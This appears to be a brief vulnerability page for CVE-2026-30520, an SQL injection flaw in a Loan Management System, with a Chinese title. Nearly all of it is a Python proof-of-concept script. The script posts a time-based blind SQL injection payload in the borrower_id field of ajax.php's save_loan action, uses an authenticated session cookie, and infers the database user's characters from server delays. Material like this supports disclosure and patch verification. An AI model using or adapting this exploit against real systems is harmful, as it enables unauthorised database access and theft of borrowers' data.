CVE-2026-30520 Loan Management System SQL注入漏洞

import requests # Target URL endpoint url = "http://target.com/ajax.php" # Attacker session cookie (Authentication required) cookies = { "PHPSESSID": "valid_session_id_here" } # Payload for Time-Based Blind SQL Injection # Checks if the first character of the database user is 'r' # If true, the server will sleep for 5 seconds payload = "1' AND IF(SUBSTRING(user(), 1, 1)='r', SLEEP(5), 0)-- -" data = { "action": "save_loan", "borrower_id": payload } try: response = requests.post(url, data=data, cookies=cookies, timeout=10) # Analyze response time to confirm injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful") else: print("[-] Payload executed or condition false") except Exception as e: print(f"Error: {e}")